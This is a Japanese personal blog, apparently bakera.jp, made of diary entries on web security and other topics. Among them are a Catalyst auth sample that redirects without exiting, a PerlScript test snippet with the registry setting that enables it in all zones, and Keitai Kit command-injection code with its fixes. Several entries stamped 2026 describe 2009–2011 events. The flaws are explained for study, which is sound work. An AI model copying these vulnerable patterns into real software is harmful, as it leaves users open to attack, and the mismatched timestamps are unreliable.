更新: 2026年4月18日21時6分頃
「ダチョウ式リダイレクトと名付けてみる修行 (d.hatena.ne.jp)」。
ここで言っている「ダチョウ式リダイレクト」とは、リダイレクト応答のレスポンスボディに意図せぬものが出力されている状態を指します。「頭隠して尻隠さず」という言葉がありますが、英語では "To bury one's head ostrich-like in the sand." と言うそうで、ostrich はダチョウですね。
ステータスコードが 301 や 302 などになっていて、Location: フィールドが出力されていれば、レスポンスボディが何であれリダイレクトは行われます。この場合、多くのブラウザではレスポンスボディは見えませんが、パケットを見ればレスポンスボディは丸見えという状態です。普通にブラウザで見ていても分からないので、テストでも発見しにくい厄介な不具合になります。
特に注意したいのは、ログインが必要なページで、未ログイン時にログインフォームへリダイレクトしているようなケース。このようなケースで「ダチョウ式」が発生すると、未ログイン時にはアクセスを拒否してリダイレクトしている……と思わせつつ、実はレスポンスボディにはログイン後画面の内容が出力されてしまっている、などという事が発生し得ます。ログインしていないのにログイン後画面の内容が取得できてしまうので、大変まずいことになります。
ところで、Perlのフレームワークとして有名なものにCatalystというものがあります。Catalystで認証機能を実装したいなぁ、などと考えて「Catalyst 認証」で検索すると、「Catalyst::Manual::Cookbook - Catalystクックブック (www.tcool.org)」がヒットします。これは、少し古い Catalyst-5.62 の Catalyst::Manual::Cookbook の和訳です。
このドキュメントには「ユーザにかならずログインしてもらう」という項目があって、以下のようなサンプルコードが掲げられています。
sub auto : Private {
my ($self, $c) = @_;
my $login_path = 'user/login';
# 実際にログインページにたどり着けるようにします!
if ($c->req->path eq $login_path) {
return 1;
}
# ユーザが登録されていればOKです
if ( $c->req->user ) {
$c->session->{'authed_user'} =
MyApp::M::MyDB::Customer->retrieve(
'username' => $c->req->user
);
}
# そうでなければログインしていないということ
else {
# force the login screen to be shown
$c->res->redirect($c->req->base . $login_path);
}
# 処理を続行します
return 1;
}
このコードには大いなる罠が潜んでいるわけです。ログインしていないとき、$c->res->redirect($c->req->base . $login_path); でリダイレクトしていますが、その後に return 0; していないので、autoの前処理が終わった後に普通の処理が実行されます。つまり、リダイレクト応答しつつも、ログインしているときと同様のレスポンスボディが出力されてしまう可能性があります。
※もっとも、ログインしていることを前提とした処理になっている場合、ログインセッションがないために例外になってセーフ、ということもあります。その辺りは運です。:-)
単に return 0; が抜けただけのケアレスミスだと思うのですが、そのまま使うと大変です。ちなみに、最新のCatalyst::Manual::Cookbook (search.cpan.org)では、このコードはなくなっているようです。
※そういえばhatomaru.dllもリダイレクト応答はだいぶ手抜きですね。まあ、リダイレクト以外も全体的に手抜きですが。
※追記: CWE では "Redirect Without Exit" と呼ばれている模様: CWE-698: Redirect Without Exit (cwe.mitre.org)
更新: 2026年4月18日20時45分頃
「人気が出れば出るほど、Webブラウザは遅くなる (slashdot.jp)」という話が出ていますが、中に興味深いコメントが。
ActivePerlを使っている人は知ってると思うけど、ActivePerlをインストールするとPerlScript [activestate.com]も書けますよ。
これは知りませんでした。確かに、以下のようなものをローカルで表示してみると動作しますね。
<script type="text/perlscript">$window->alert('PerlScript');</script>
これは新しいXSSのパターンが出るか!? と思いきや、http://bakera.jp/bug/perlscripttest.html に置いてみても動作せず。中身を保存してローカルで開くと動作するので、どうもローカルでしか動作しないように思います。そういうものなのですかね?
……と書いていたら、ZnZさんからコメントをいただきました(ありがとうございます)。レジストリの HKEY_LOCAL_MACHINE\SOFTWARE\ActiveState\PerlScript\1.0 に値を設定することで、どのゾーンで動作するか指定できるようです。デフォルトでは 0x0010 になっていてローカルでしか動作しませんが、この値をたとえば 0x0001 にすると、あらゆるゾーンで動作するようになります。
この値についてはHow can I configure client-side PerlScript security? (docs.activestate.com) に書かれていて、そこにはこのような記述もあります。
Note: By default, PerlScript is only enabled in IE's Local zone. Enabling PerlScript any other zones is not recommended. It allows websites to execute Perl code on the local machine as the current user.
というわけで、デフォルト以外の設定にすることは推奨されないようです。
更新: 2026年4月18日19時30分頃
サンシャイン牧場の件、ユーザー向けにこんなアナウンスが出ていますね。mixi会員でないと読めませんが。
Kコインの利用において、一部不具合がありユーザーの皆様には大変ご迷惑をおかけしました。
現在、不具合は修正され正常にご利用頂けます。
万一、Kコインの購入について不具合がある方は「提供者に問い合わせる」よりご連絡をお願いいたします。
これで全文です。ひとまず、「修正しました」という旨のみの報告のようですね。これで終わりということはないと思いますが、どうでしょう。ともあれ様子見で。
……と、様子を見ていたら、夕方になって情報が追加されたようです。
Ｋコインの利用において、一部不具合があり、
ユーザーの皆様には大変ご迷惑をおかけしました。
現在、不具合は修正され正常にご利用頂けます。
不具合の内容は以下の通りです。
（不具合内容）
・Kコインを正常に購入したにも関わらず、Kコインが付与されていないケースがありました。
・Kコインの購入システムにおいて、一部脆弱性が懸念される箇所がありました。
これらは現在修正されております。
また、Kコインが付与されないケースについては確認が取れ次第付与をいたしております。
万一、Kコインの購入について不具合がある方は、
「提供者に問い合わせる」よりご連絡をお願いいたします。
「一部脆弱性が懸念される箇所がありました」だそうです。脆弱性の内容についての詳細は、まだアナウンスされていないようですね。
※コメント欄のノイズが酷すぎて、「脆弱性ってなんですか」とか書ける雰囲気ではないような……。
※2009-10-31追記: さらに追加のアナウンスがありました: 「サンシャイン牧場・課金システムの問題についてのアナウンス」
関連する話題: ゲーム / サンシャイン牧場 / セキュリティ / 情報セキュリティ早期警戒パートナーシップ
更新: 2026年4月18日18時0分頃
まだ手元には届いていませんが、発売されているっぽいです。
我が社が誇るシニア・ソフトウェアエンジニア、Riyuuzi Sakai氏(誰?)がリアル書籍に初の執筆! 歴史上の重要なマイルストーンとなる一冊だッ!!
……って以前も書きましたけれども。
私は7章のセキュリティのところに少しだけ書いています。もっとも、私の担当分は冒頭の導入部っぽいところだけで、後半の具体的な解説は私の執筆ではありません。
※まあ、分かっている人が読めば分かると思いますが。
基本的にはマニア向けではなく、「これからWebアプリケーションの仕事に携わりたい」と考えている方が基礎的な知識を広く浅く身につけるための本かと思います。本業のプログラマの方が読むと内容はぬるいと感じるでしょうが、まあそういうものだということで……。
更新: 2026年4月18日17時35分頃
こんな記事が……「国民生活の悪化をもたらす電力使用制限。諸悪の根源は政府の原発政策が定まらぬことにあり。一刻も早く方向性を決めよ！ (www.nikkeibp.co.jp)」。内容はまあ気にしないとして、気になったのは最後のこの部分です。
政府は、安全が確認されるまで浜岡原発を停止させるなど、原発停止をリスク軽減策として考えているようだが、それは大きな誤りだ。燃料の入った原子炉は、稼動していても、停止していても、ほとんどリスクは変わらない。冷温停止していた福島第一原発の4号機が、電源供給を失って水素爆発したのが、よい例だ。
以上、国民生活の悪化をもたらす電力使用制限。諸悪の根源は政府の原発政策が定まらぬことにあり。一刻も早く方向性を決めよ！ より
これは意味が分かりませんでした。
そもそも、「よい例」といっている4号機についての認識が間違っています。4号機は2010年11月30日から定期検査に入っていて、炉心から核燃料が抜かれていました。「福島第一原子力発電所４号機の定期検査開始について (www.tepco.co.jp)」を見るとシュラウド (圧力容器の中で燃料集合体を支える部品) の交換などもしているわけで、燃料が入ったままで作業するのは不可能です。4号機の原子炉は空っぽで、核燃料は使用済み核燃料プールに移されていました。
それがどうして爆発したのかというと、実は良く分かっていません。湯気のようなものが観測されていたこともあり、当初は、プールの中の核燃料が高温になって水素が発生し、水素爆発を起こした……という説が有力でした。しかしその後の調査では、燃料棒が破損している形跡は認められませんでした (参考: 「４号機の激しい損壊、水素爆発以外の原因か (www.yomiuri.co.jp)」)。
※3号機と4号機はつながっているため、3号機で発生した水素が流れ込んだのではないか、という見方もあります。
原子炉から出して数ヶ月経った使用済み燃料は、崩壊熱を出し続けてはいるものの、すぐに溶融が起きるほどの熱量ではないということがわかります。
原子炉の中では放射性元素がどんどん生成されていますが、その中には半減期がきわめて短いものもあります。核分裂連鎖反応が止まった直後は膨大な熱を出しますが、熱量は急速に減っていきます。「MIT原子力理工学部による「崩壊熱」についての解説 (d.hatena.ne.jp)」のページに出ているグラフを見ると、停止直後に一気に下がり、その後は減り方が緩やかになることがわかるでしょう。なんとか1日耐えれば、熱量は2%以下になります。
※「崩壊熱発生率 (www.rri.kyoto-u.ac.jp)」などは対数グラフなので注意。
停止直後の膨大な熱を何とかできれば、あとは比較的安定します。その安定性の目安のひとつとされているのが100度という温度で、100度以下で安定した状態のことを「冷温停止」と呼んでいます。冷温停止状態になっても冷やし続ける必要はあるのですが、停止直後とは熱の量が全く違いますから、ここで冷却が止まっても時間の猶予があります。
つまり、停止直後が勝負だということです。冷却装置がきちんと稼働する状態で停止すれば、停止直後の膨大な熱もすみやかに冷却できますから、スムーズに冷温停止状態に移行することができます。実際、浜岡原発は停止してから1日と少しで冷温停止状態になっています (参考: 浜岡５号機、冷温停止に…冷却水に海水混入も (www.yomiuri.co.jp))。この状態でもまだ冷やし続ける必要はありますが、崩壊熱は2%以下になっていますから、リスクは全く違います。
対する福島第一原発1～3号機では、運転中に地震が起きてしまいましたから、十分な冷却が行われる前に冷却が止まり、核燃料は融けてしまいました。そして、少なくともその一部は圧力容器や格納容器の外に出てしまっていると考えられています。一度こうなってしまうと、冷却すること自体が困難になります。事故が起きてから慌てて冷やそうと思っても、手遅れになる場合があるということです。
まとめると、
ということです。最初の点だけを見ると「稼動していても、停止していても、ほとんどリスクは変わらない」と思えてしまうかもしれませんが、その考えは誤りです。リスクは全く違うと言って良いと思います。
※「止めても高レベル放射性廃棄物が残る問題は解決しない」という見方もあり、それはそれで正しいと思いますが、事故時のリスクとはまた別の話です。
更新: 2026年4月18日16時20分頃
「ハッカー」に逆襲、パスワード盗み返す 中３書類送検 (www.asahi.com)
インターネットのＩＤとパスワードを盗もうとした「ハッカー」から逆にパスワードなどを盗み返したとして、愛知県警は５日、兵庫県尼崎市の中学３年の少年（１５）を不正アクセス禁止法違反の疑いで書類送検した。調べに対して、少年は「メールを盗み見たりして、困らせてやろうと思った」と話しているという。
パスワードを盗んだとしても、それだけでは不正アクセス禁止法の言う不正アクセス行為にはならないはずです。三条で定義されている不正アクセス行為は、以下の三つだけです。
２ 前項に規定する不正アクセス行為とは、次の各号の一に該当する行為をいう。
一 アクセス制御機能を有する特定電子計算機に電気通信回線を通じて当該アクセス制御機能に係る他人の識別符号を入力して当該特定電子計算機を作動させ、当該アクセス制御機能により制限されている特定利用をし得る状態にさせる行為（当該アクセス制御機能を付加したアクセス管理者がするもの及び当該アクセス管理者又は当該識別符号に係る利用権者の承諾を得てするものを除く。）
二 アクセス制御機能を有する特定電子計算機に電気通信回線を通じて当該アクセス制御機能による特定利用の制限を免れることができる情報（識別符号であるものを除く。）又は指令を入力して当該特定電子計算機を作動させ、その制限されている特定利用をし得る状態にさせる行為（当該アクセス制御機能を付加したアクセス管理者がするもの及び当該アクセス管理者の承諾を得てするものを除く。次号において同じ。）
三 電気通信回線を介して接続された他の特定電子計算機が有するアクセス制御機能によりその特定利用を制限されている特定電子計算機に電気通信回線を通じてその制限を免れることができる情報又は指令を入力して当該特定電子計算機を作動させ、その制限されている特定利用をし得る状態にさせる行為
以上、不正アクセス行為の禁止等に関する法律 第三条 より
そんなわけで、検挙の理由は「パスワードを盗んだから」ではなくて、「盗んだパスワードを入力してアクセスしたから」でなければならないはずです。
ところで、技術的に興味深いのはこれですね。
操作の履歴の送付先になっていた男性のメールアドレスやＩＤ、パスワードを割り出したという。
キーロガーを分析して分かったというこれ、何のパスワードなんですかね。キーロガーのデータ送信用にパスワードが必要なのかという疑問が沸くわけですが。どこかのメールサーバを経由してメールを送るようになっていて、SMTP認証が必要だったとか? なんか、キーロガーが脆弱なのではないかという気がしてきますが。
関連する話題: セキュリティ
更新: 2026年4月18日15時30分頃
サンシャイン牧場の件ですが、読売新聞に出たようですね: ミクシィ、４２００人の情報が３日間「露出」 (www.yomiuri.co.jp)。
リクー社が調べたところ、判明しただけで８０人分の購入した計３８万円分のアイテムの記録が消滅していたことが判明。さらに、クレジットカードでゲーム内通貨を購入しようとした利用者４２００人分の電話番号やメールアドレスが外部から閲覧できる状態になっていたことが分かった。
最大約4200人というのは、修正前にクレジットカードを利用した人の総数でしょうね。
80人で38万円購入というと平均5000円近いわけで、ずいぶん単価が高いように見えますが、その80人はおそらく、「前回のクレジットカードを使う」を選択して2回目の課金を行った人たちでしょう。もともと購入意欲の高い層だった上に、「Kコインが増えないので課金操作を繰り返した」という方もいらっしゃるようなので、単価が高く出ているのだろうと思います。
ミクシィは「現時点で個人情報を悪用されたという報告はなく、一般のユーザーが偶然に見た可能性はほぼないと考えられる」としているが、「今後、課金システムを導入する際には弊社として審査するなど、運用を見直したい」としている。
「一般のユーザーが偶然に見た可能性はほぼない」というのは、単に「現時点で悪用の報告がない」からそう判断しているのか、それともログを確認した上で言っているのか、どちらなのでしょうね。前者っぽい気もしますが。
いずれにしても、停止の判断や修正作業が素早かったために被害の拡大を防ぐことができた、と考えて良いのでしょうか。カカクコム事件では停止の判断の遅れが問題になりましたが、今回はそこはきちんと対応されたのではないかと思います。
ただ、対応後の告知は分かりにくかったようで。30日の夜に出た公式コミュニティのアナウンスには、10月31日までに49のコメントがついて止まっていましたが、今日になってコメントが100を超えています。mixiの「重要なお知らせ」にも出ていたのに、「コミュニティ内部でしか報告されていないのはおかしい」という旨のコメントが複数ついていますし、告知に気付いていない方も多かったようですね。
※追記: テレビのニュースでもやっていたようで : FNNニュース: 「mixi」上のゲームで利用者約4,200人分の個人情報が3日間にわたり閲覧可能な状態に (www.fnn-news.com)
関連する話題: ゲーム / サンシャイン牧場 / セキュリティ / 情報セキュリティ早期警戒パートナーシップ
更新: 2026年4月18日15時10分頃
「続: Winny研究者がなぜウィルスによる情報漏洩の責任を問われうるか (d.hatena.ne.jp)」という話があるようですが、情報セキュリティ早期警戒パートナーシップに関する部分について少しメモしておきます。
通常であれば、IPAがガイドラインにて提示し報告を受け付ける脆弱性情報は、アプリケーション等の作者等に連絡され、相応の対応期間を経て対応が為されない場合は公開される。
「情報セキュリティ早期警戒パートナーシップガイドライン」では、取扱開始から45日後を公表の目安としています。では、45日を過ぎても修正されなかったらどうなるのでしょうか。普通に考えると「当然公開されるよね?」と思えるのですが、実はガイドラインにはその点は明記されていないのですね。
では、実際の運用ではどうなっているのかというと、期間が過ぎたので公開されたという例は見たことがありません。つまり、IPAから脆弱性を通知された人は、みんなちゃんと期間内に直してくれているわけです。
……なんてこと、あるわけないですね。
たとえば、私が2006年11月24日に届出を行った案件。このソフトウェアは2009年1月15日現在でも公開されていますが、最新版でも修正されていません。その脆弱性の情報はいまだに公開されていないのです。Webアプリケーションの場合は諦めて取扱終了というパターンがあるのですが、ソフトウェア製品で諦めたパターンは見たことがないですね。
もっとも、最初から対処不能な場合はまた別で……。
しかし、作者等が対応不能であることが明白である場合（これには、Winnyのように作者が訴追を受けている場合のみならず、作者が死亡している場合や逮捕勾留されている場合を含む）については、ガイドラインは想定していない。対策が施されないことが明白であり、かつ、この脆弱性の放置そのものによって被害が生じるわけではなく、むしろ公開によって情報流出の危険性が生じると考えられる以上、情報を公開することでかえってウィルス作成に積極的に貢献している（情報を公開しなければウィルス作成は為されなかった）と認められる状況もありうるというのが、わたしの指摘である。
「JVN#74294680 Winny におけるバッファオーバーフローの脆弱性 (jvn.jp)」を見れば明らかだと思いますが、実際の運用では、対応不能な場合には未修正のまま公表されています。この制度はあくまで脆弱性関連情報の流通と公開タイミングをコントロールするためのものですし、取扱終了になったら情報が公開される前提です。
ちなみに、いわゆる暴露ウイルスはWinnyの脆弱性を利用しているわけではありません。感染は単にファイルを開いて実行した事によって起こりますので、Winny経由で取得した場合に限らず、不用意にファイルを開けば感染します。原理的には、ウィルスがWinnyをインストールしたり、ウィルスが自らWinnyプロトコルで通信するということも起こり得ますから、Winnyを使っていない人が添付ファイルを開いて感染、感染すると自らWinnyプロトコルで通信して暴露……というようなウィルスの出現も考えられます。
ここからは余談になりますが、Winny暴露ウィルスの最大の脅威は「Winnyネットワークを利用して情報がばらまかれるため回収不能になる」という点に尽きると思います。この特性はWinnyネットワークが存在し続ける限りなくならないと思いますし、Winnyネットワークを消滅させることは難しいでしょう。「脆弱性を修正したWinnyが出れば解決するはずだ」という議論はけっこう良く聞くのですが、それだけでは暴露ウィルスの問題は解決しないように思うのです。
ちょうど高木さんが「いいかげん流通させている輩を罰せないか (takagi-hiromitsu.jp)」という日記を書かれていますが、こういう方向のアプローチしかないように思えるのですよね。
更新: 2026年4月18日14時55分頃
セキュリティホールmemoで紹介 (www.st.ryukoku.ac.jp)されていた、「今年は血液型本が大ベストセラー (oku.edu.mie-u.ac.jp)」というお話。
2008-12-28朝7時台のNHKニュースで取り上げられていたが，その中で「血液型と性格は科学的には関係がない」という意味のことを女性アナが2回，男性アナが1回，計3回言っていた。さすがNHK！
まあ、BPO (放送倫理・番組向上機構) から「血液型を扱う番組」に対する要望 (www.bpo.gr.jp)というものが出ていますから、当然と言えば当然の対応なのでしょうね。
興味深かったのはコメント欄。
ちなみに、血液型による性格診断などを信じている人から受ける非科学的な評価による不快感を「ケツハラ」というひとがいるそうです。
血液型ハラスメント、略してケツハラですか。凄い略称ですね。
そういえば、少し前に市川團十郎が骨髄移植を受けて血液型が変わった (sankei.jp.msn.com)という話がありましたが、
Ｏ型になったことには「性格は変わってないと思うんですけど。まぁ、ちょっとは変わったかな」と完全復活をアピール。
変わるわけ無いでしょうに、わざわざこんなコメントを出さなければならないという社会が何ともなぁ。
更新: 2026年4月18日2時35分頃
バグ対応続き。
「:」が含まれるキーワードをクリックするとBad Requestになるという罠が。
URLのPATH_INFO相当の箇所に「%3a」が含まれていると、それだけでBad Requestになります。これはhatomaru.dllの問題ではなく、IIS+ASP.NETの問題です。ASP.NETなサイトで /default.aspx/%3a みたいなものをリクエストすると、それだけでBad Requestになるはずです。アプリケーションが値を受け取る前に蹴られてしまうのでどうしようもありません。
仕方ないので、URLに「%3a」ではなく「%EF%BC%9A」を入れるというバカっぽい対応を行いました。いかにも頭の悪いサニタイズという感じがしてしまいますが……。
関連する話題: bakera.jp / hatomaru.dll
更新: 2017年11月14日18時20分頃
Accessibilityという単語は長いのでa11yと略記されることがありますが、その兼ね合いで、11月11日はアクセシビリティの日なのだそうです。
ということで、「日本最大級のアクセシビリティイベント」と称してJapan Accessibility Conference vol.1 (connpass.com)が開催されました。私は「アクセシビリティ・ガイドラインの歩き方（初心者編）」というセッションで登壇しています。スライドと動画を以下で見ることができます。
参加者のみなさんのツイートなどは以下にまとめていただいているようです。
ご来場いただいたみなさま、配信でご覧いただいたみなさま、ありがとうございました。
以下、セッション内容についてひとつ補足。
JIS X 8341-3:2010には日本独自の内容があり、JIS X8341-3:2016ではそれをなくして完全一致規格にしたと説明していますが、このときカットした内容は附属書として残っています。つまり、規定ではなくなりましたが、参考情報としては残っている状態です。この附属書はネットでは公開されていませんので、読みたい場合は規格票を購入する必要があります。とはいえ、自治体系案件でAA準拠必須、というような場合でもなければ、無理に読む必要はないでしょう。
※2017-11-14追記: アクセシブルではないものの、JISC(日本工業標準調査会)のサイト (www.jisc.go.jp)でJIS X 8341-3:2016の規格票を閲覧できるというご指摘をいただきました。ご指摘ありがとうございます。
Twitterなどでコメント等をくださったみなさま、ありがとうございます。いくつかここでコメントしておきます。
悲壮感を漂わせて言うとシャレになりませんので!
正式な言葉ではなく、単に私がそう呼んでみたというだけです。正式の用語ではない旨、補足するべきだったかもしれません。
ユーザーが停止できれば良いので、スクロールを止めたときに動きが止まるような場合は問題ありません。動き続けて止められない場合は問題になります。
ひとまずこんなところで。
更新: 2016年4月27日11時5分頃
Movable Typeのプラグイン「ケータイキット for Movable Type」にOSコマンドインジェクションの脆弱性があったという話が出ており、J-WAVEの64万件の個人情報流出はこれが原因だったとされています。
配布元のアイデアマンズからは、4月22日にまず「緊急パッチファイル」が提供され、その後正式なアップデートが提供されました。
サイトでの情報提供のほか、登録ユーザーへのメールでの告知も行われているようです。
22日に公開された「緊急パッチファイル」の内容を見ると、plugins/keitaikit/php/KeitaiGraphic.php というファイルひとつだけであり、このファイルに問題のあったコードが含まれているらしいことが分かります。中身を見ると、KeitaiGraphic という名前の示すとおり、画像をケータイ用に変換する関連の処理が含まれているようです。
※Movable TypeはPerlで書かれており、プラグインも基本はPerlで書くのですが、ケータイキットはPerlとPHPが混ざった構成になっています。Perlで書かれたMTプラグインでHTMLにPHPのコードを吐いたりしつつ、画像変換などの処理はPHPで行っているようです。
修正の内容ですが、以下のような部分が、
$execute = "$convert $option $src $dest_temp";
exec($execute);
「緊急パッチファイル」では以下のように修正されています (この他にも同様の修正が数箇所あります)。
global $mtkk_no_exec_args_quote;
if ( $mtkk_no_exec_args_quote ) {
$execute = "$convert $option $src $dest_temp";
} else {
$execute = "$convert $option \"$src\" \"$dest_temp\"";
}
exec($execute);
※細かいところを説明しておきますと、$convert はGraphicConfig.phpという設定ファイルで与えられた定数で、ImageMagickのconvertコマンドのパスが格納されます (デフォルトでは'/usr/bin/convert'がセットされています)。$mtkk_no_exec_args_quoteは、trueをセットすると従来どおりの (脆弱な) 挙動になるフラグと思われますが、特にセットしている箇所が見当たりませんので、基本的にはelse節の方が実行されて修正後の挙動となります。
一見して分かると思いますが、この修正内容は不十分であり、OSコマンドインジェクションの危険性はなくなっていないものと思われます。ただし、これはあくまで22日の時点で配布された「緊急パッチファイル」の内容です。配布元ではその後、23日に修正版をリリースし、あわせて以下のようにアナウンスしています。
ケータイキット for Movable Type で確認されたセキュリティ問題の修正バージョンとして、ケータイキット for Movable Type 1.65 の提供を開始します。すべてのケータイキット for Movable Type ユーザーは、修正版に必ずアップグレードしてください。
※1.641用の緊急パッチファイルを適用された場合でも、必ずアップグレードをしてください。
「緊急パッチファイル」のままでは駄目だという旨が告知されていますね。修正版の内容を見ると、該当箇所は最終的に以下のような形になったようです。
global $mtkk_no_exec_args_quote;
if ( $mtkk_no_exec_args_quote ) {
$execute = "$convert $option $src $dest_temp";
} else {
$execute = "$convert $option " . escapeshellarg($src) . " " . escapeshellarg($dest_temp);
}
結論としては、配布元でアナウンスされているとおり、「緊急パッチ」を適用していても修正版にアップデートする必要がある、ということで良いと思います。
※以下、2016-04-26 12:15頃追記
「なぜImageMagickのconvertコマンドを呼んでいるのだろうか」という疑問を感じた方が多かったようですので、一点補足します。設定ファイルGraphicConfig.phpには以下のような内容が書かれていて、ImageMagickではなくGDを選択することもできるように見えます。ただし初期値はImageMagickのようです。GDを選ぶと問題が回避できるのかどうかは良くわかりません。
/*
グラフィックライブラリ
gd:GD
im:ImageMagick 6+
im5: ImageMagick 5)
*/
$kg->php_graphic = 'im';
/*
convertコマンドのパス
グラフィックライブラリにImageMagickを指定した場合のみ
*/
$kg->convert = '/usr/bin/convert';
/*
identifyコマンドのパス
グラフィックライブラリにImageMagickを指定した場合のみ
*/
$kg->identify = '/usr/bin/identify';
※以下、2016-04-27 11:05頃追記
徳丸さんから情報をいただきました。攻撃経路はファイル名ではなくオプションの方らしいとのこと。
@bakera (twitter.com) ばけらさん、私もソースを追っかけてみたのですが、攻撃経路はファイル名ではなく、オプションの方だと思います。ファイル名は存在チェックがあり攻撃が難しいですが、オプションはほぼノーチェックでconvertコマンド等に渡されていたようです
— 徳丸 浩 (@ockeghem) 2016年4月27日 (twitter.com)
あらためて確認すると、旧版、および緊急パッチファイルで以下のようになっていた部分が、
$option .= ' -rotate ' . $options['rotate'];
最新版では以下のように変更されています (同様の箇所が他にも数箇所あります)。
$option .= ' -rotate ' . escapeshellarg($options['rotate']);
この部分は「緊急パッチファイル」では変更されていなかった部分ですので、ここが攻撃経路なのであれば、緊急パッチファイルは修正が不十分 (従来の攻撃は防げるが、別の攻撃方法が残っている状態) だったのではなく、そもそも修正になっていなかった可能性もあります。いずれにしても、緊急パッチファイルのままでは駄目で、最新版にする必要があるという結論は変わりません。
更新: 2013年9月16日11時20分頃
アクセシビリティキャンプ東京 #4 (www.facebook.com)が開催されました。
テーマは「アクセシビリティのブランディング」(と、公式には書いてありますが「Webアクセシビリティのリブランディング」と言っていたような気もします。意味的には大差ありませんが)。
以下関連。
個人的には、韓国のアクセシビリティ事情の話が非常に興味深いと思いました。韓国では民間企業に対しても強制力のある法律があって対応が進んでいるということで、政府機関に対してもガイドラインしかない日本とはかなり状況が違うということのようです。なぜ日本では法整備が進まないのか、という話題にもなりましたが、なんとも。国民の意識の違いなのでしょうか……?
関連する話題: アクセシビリティ
更新: 2012年6月3日14時25分頃
ウェブアクセシビリティ基盤委員会 (waic.jp)のサイトには、「WCAG 2.0 実装方法集 (waic.jp)」という文書があります。これはTechniques for WCAG 2.0 (www.w3.org)を和訳したものです。
WCAG2.0の本体には、達成するべき基準が書かれているのですが、内容は抽象的で、具体的な実装方法までは書かれていません。たとえば、「利用者に提示されるすべての非テキストコンテンツには，同等の目的を果たす代替テキストを提供しなければならない」と規定されていても、それを具体的にどのような実装にすれば良いのかまでは書かれていません。それでは分からないので、具体的な実装方法は別のドキュメントにまとめられています。それがTechniques for WCAG2.0です。
このように文書が分けられている理由はいくつかあります。WCAG2.0が特定の技術 (たとえばHTML) に依存しない、汎用的な基準を定めることを目指したという点もありますが、本体はW3C Recommendationなので、頻繁な更新ができないという事情もあります。Recommendationの更新には時間がかかるので、新しい技術の出現に対応することが難しいわけです。Techniquesの方はNoteになっていて、それなりの頻度で更新できるようになっています。
つまりどういうことかというと、Techniques for WCAG 2.0はそれなりの頻度で更新されるということです。現在のTechniquesは2012年1月版となっています。しかし、和訳の方は2008年12月版のままで、かなり古くなってしまっています。
というようなわけで、新たに追加された項目をチェックしていたのですが、実装方法にSVR5というものが増えています。
IDの「SVR」は "Server" の意味で、SVR5はサーバ側の実装例の5番目のものという意味です。SVR5では、HTTP応答ヘッダのContent-Languageで言語を指定するというテクニックが紹介されています。そこまではまあ良いのですが、読んでみると微妙な記述が……。
Content-Language HTTP header can contain a list of one or more language codes, which can be used for language negotiation between a user agent and a server. If the language preferences in a user agent are set correctly, language negotiation can help the user to find a language version of the content that suits his/her preferences.
以上、SVR5: Specifying the default language in the HTTP header (2012年1月3日版) より
"can be used for language negotiation between a user agent and a server" とあり、Content-Languageを言語によるコンテント・ネゴシエーションに使うことができると書いてあるように読めます。しかし、Content-Languageをコンテント・ネゴシエーションに使うというのは聞いたことがありません。
普通、ネゴシエーションに使われるのは、ユーザーエージェントのHTTP要求ヘッダに入っているAccept-Languageです。サーバは、ネゴシエーションにAccept-Languageが使われていることを明示するために、Vary: Accept-Languageをつけて応答することがありますが、Content-Languageは使われません。サーバは300 Multiple Choisesや406 Not Acceptableで応答することがあり、このときはユーザーエージェントの側に選択がゆだねられますが、ここでもContent-Languageがネゴシエーションに使われるわけではありません。
無理矢理考えると、サーバからマルチパートで複数の言語を含んだ応答をして、それぞれのパートにContent-Languageをつけておけば選択できるような気もしますが、それはネゴシエーションとは言わないと思います……。
というわけで、この記述は何かが間違っているのではないかという気がしていますが、あるいは私が知らないネゴシエーション方法があるのかもしれません。
ではContent-Languageは何の役に立つのかというと、HTMLの場合はhtml要素にlang属性をつけてやれば良いので、Content-Languageの出番はあまりありません。しかし、HTTPで転送されるのはHTMLだけではありません。プレーンテキストやダウンロードデータなどの場合、データ自身に言語を指定する機能はありませんので、HTTP応答ヘッダでの指定が意味を持ちます。
RFC2616の14.12 Content-Language には以下のような記述があります。
The primary purpose of Content-Language is to allow a user to identify and differentiate entities according to the user's own preferred language.
ここでは、ユーザーが設定した優先言語と違うかどうか識別できると言っています。たとえば、ユーザーの優先言語と違っていたら「このコンテンツは英語ですが自動翻訳しますか?」というアラートを出すブラウザがあります。HTML以外のコンテンツであっても、Content-Languageの指定があれば、そういった挙動ができるようになるかもしれません。
※2012-06-03追記: 結局、訳注をつけて公開しました: 「SVR5: HTTPヘッダーで主たる自然言語を指定する (waic.jp)」。
更新: 2012年3月15日14時0分頃
こんなニュースが……「Microsoftの「Windows Azure」、閏年関連バグでダウン (www.itmedia.co.jp)」。
実はうちの会社でもWindows Azureを使った案件をいくつか持っていて、思いっきり影響を受けました。日本時間の朝10時頃からサービスがダウンし、管理画面からの再起動も受け付けない状態に。しかも、社内で最も詳しい人は「2012 MVP Global Summit (www.2012mvpsummit.com)」に呼ばれていて、日本にいないという厳しい事態。
幸いメールで連絡がついて、しかもすぐそばにAzureのMVPの方がいたらしく、むしろ通常よりも強力なサポートが得られる結果になりました……が、結論としては「Azure全体の障害なのでどうしようもない」という話で、座して待つ形に。
※日本時間で夜の21時頃には復旧していたようです。
……というようなことが起きたのですが、それがまさかの閏年問題だったようで。正式な障害報告書はまだ見ていませんが、Microsoftの方からの簡単な報告によると、証明書関係の処理で問題が起き、障害の範囲拡大を防ぐためにサービスを停止したということらしいです。
証明書の有効期限チェックの処理で閏年問題が発生したのだとすると、それはまあ動かなくなるでしょう。Azureの内部ではいろいろなところで証明書を使っているようですし、証明書のチェックは一見するとカレンダーとは関係なさそうに見えるところで、盲点になっていたのかもしれません。
Azureに限らず、証明書や鍵の有効期限をチェックするシチュエーションは増えていると思います。そこで問題が出ると影響が大きいので、注意する必要がありそうですね。
※2012-03-15追記: 有効期限のチェックで問題が起きたのではなく、証明書の新規作成に失敗したということのようです……「Azure閏年問題の詳細」。
更新: 2012年3月12日22時15分頃
こんな話が……「github の mass assignment 脆弱性が突かれた件 (blog.sorah.jp)」。
update_attributes とは: ActiveRecord のモデルで、カラム名がキーとなった Hash を渡す事でデータを更新できるメソッド。foo.update_attributes(:title => "New Title") のように使います。 scaffold で生成されたコントローラの update アクションなどで使われていて、scaffold では update_attributes(params[:foo]) のようにパラメータが直接渡されています。
ここでのparamsは、クエリ文字列、あるいはPOSTされたクエリをそのまま格納したものです。scaffold (Railsが最初にひな形を自動生成する機能) では、外部から受け取ったクエリをそのまま渡すコードになっていて、書き換えずにそのまま使うとまずいことが起きるという話ですね。
で、実際にGitHubがやってしまっていたと。
